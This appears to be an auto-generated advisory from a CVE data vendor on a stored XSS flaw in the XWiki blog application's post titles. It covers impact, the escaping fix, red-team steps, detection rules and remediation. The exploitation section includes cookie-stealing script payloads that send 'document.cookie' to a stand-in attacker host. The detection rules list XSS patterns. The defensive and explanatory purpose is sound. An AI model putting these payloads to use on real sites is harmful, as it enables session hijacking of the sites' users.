CVE-2025-66024
Executive Summary
CVE-2025-66024 is a Stored Cross-Site Scripting (XSS) vulnerability in the XWiki blog application, affecting versions prior to 9.15.7. The vulnerability allows an attacker with permissions to create or edit blog posts to inject malicious JavaScript into the blog post title field. Because the title is directly injected into the HTML <title> tag without proper escaping, the script executes in the browser of any user who views the blog post, including administrators. This can lead to session hijacking, privilege escalation, or other malicious actions. The vulnerability has been patched in version 9.15.7 by adding missing escaping. No known workarounds are available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.0 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker needs permission to create or edit blog posts
- User Interaction: Required (UI:R) – victim must view the blog post
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability allows stored XSS, which can be used to steal session cookies, perform actions on behalf of the victim, or escalate privileges. The low attack complexity and network vector make it easily exploitable.
Deep Dive & Mechanics
The vulnerability exists in the XWiki blog application's handling of blog post titles. When a user creates or edits a blog post, the title is stored in the database. When the blog post is viewed, the title is injected directly into the HTML <title> tag without proper escaping. This allows an attacker to inject arbitrary HTML and JavaScript into the title field.
For example, an attacker could set the title to:
<script>alert('XSS')</script>
When a user views the blog post, the browser will execute the script. The attacker can craft more sophisticated payloads to steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix in version 9.15.7 adds proper escaping to the title before it is inserted into the HTML, preventing script execution.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 9.15.7):
// Vulnerable: title is injected without escaping
String title = blogPost.getTitle();
String html = "<title>" + title + "</title>";
Patched Code (9.15.7):
// Patched: title is escaped before injection
String title = blogPost.getTitle();
String escapedTitle = StringEscapeUtils.escapeHtml4(title);
String html = "<title>" + escapedTitle + "</title>";
The patched code uses StringEscapeUtils.escapeHtml4() to escape HTML special characters in the title, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Prerequisites: An account on an XWiki instance with permission to create or edit blog posts.
- Craft Payload: Create a blog post with a malicious title, e.g.:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Publish Post: Save and publish the blog post.
- Wait for Victims: Any user who views the blog post will execute the script, sending their session cookie to the attacker's server.
- Session Hijacking: Use the stolen cookie to impersonate the victim.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Defense)
- Monitor Logs: Look for unusual blog post titles containing
<script>tags or other HTML/JavaScript. - Web Application Firewall (WAF): Deploy WAF rules to block requests with script tags in blog post titles.
- Input Validation: Ensure all user inputs are properly sanitized and escaped before rendering.
- Content Security Policy (CSP): Implement CSP headers to restrict script execution.
- User Education: Train users to be cautious of suspicious blog posts and report them.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/xwiki/bin/view/Blog/with titles containing<script>tags. - Logs: XWiki logs showing blog post creation with titles containing HTML/JavaScript.
- File System: Blog post entries in the database with titles containing malicious scripts.
- Browser: Unexpected redirects or pop-ups when viewing blog posts.
Detection Engineering
YARA Rule
rule CVE_2025_66024_XSS_Title {
meta:
description = "Detects XSS payloads in XWiki blog post titles"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66024"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: XWiki Blog Post Title XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in XWiki blog post titles
author: Valters IT
date: 2025-04-10
references:
- CVE-2025-66024
logsource:
category: application
product: xwiki
detection:
selection:
event: blog_post_created
title|contains:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in titles (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66024 XWiki Blog Post Title XSS"; flow:to_server,established; content:"/xwiki/bin/view/Blog/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Upgrade: Immediately upgrade to XWiki blog application version 9.15.7 or later.
- Input Sanitization: Ensure all user inputs are properly escaped before rendering.
- Web Application Firewall: Deploy WAF rules to block XSS payloads.
- Content Security Policy: Implement CSP headers to restrict script execution.
- User Training: Educate users about the risks of XSS and how to report suspicious content.
- Regular Audits: Conduct regular security audits of the XWiki instance.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.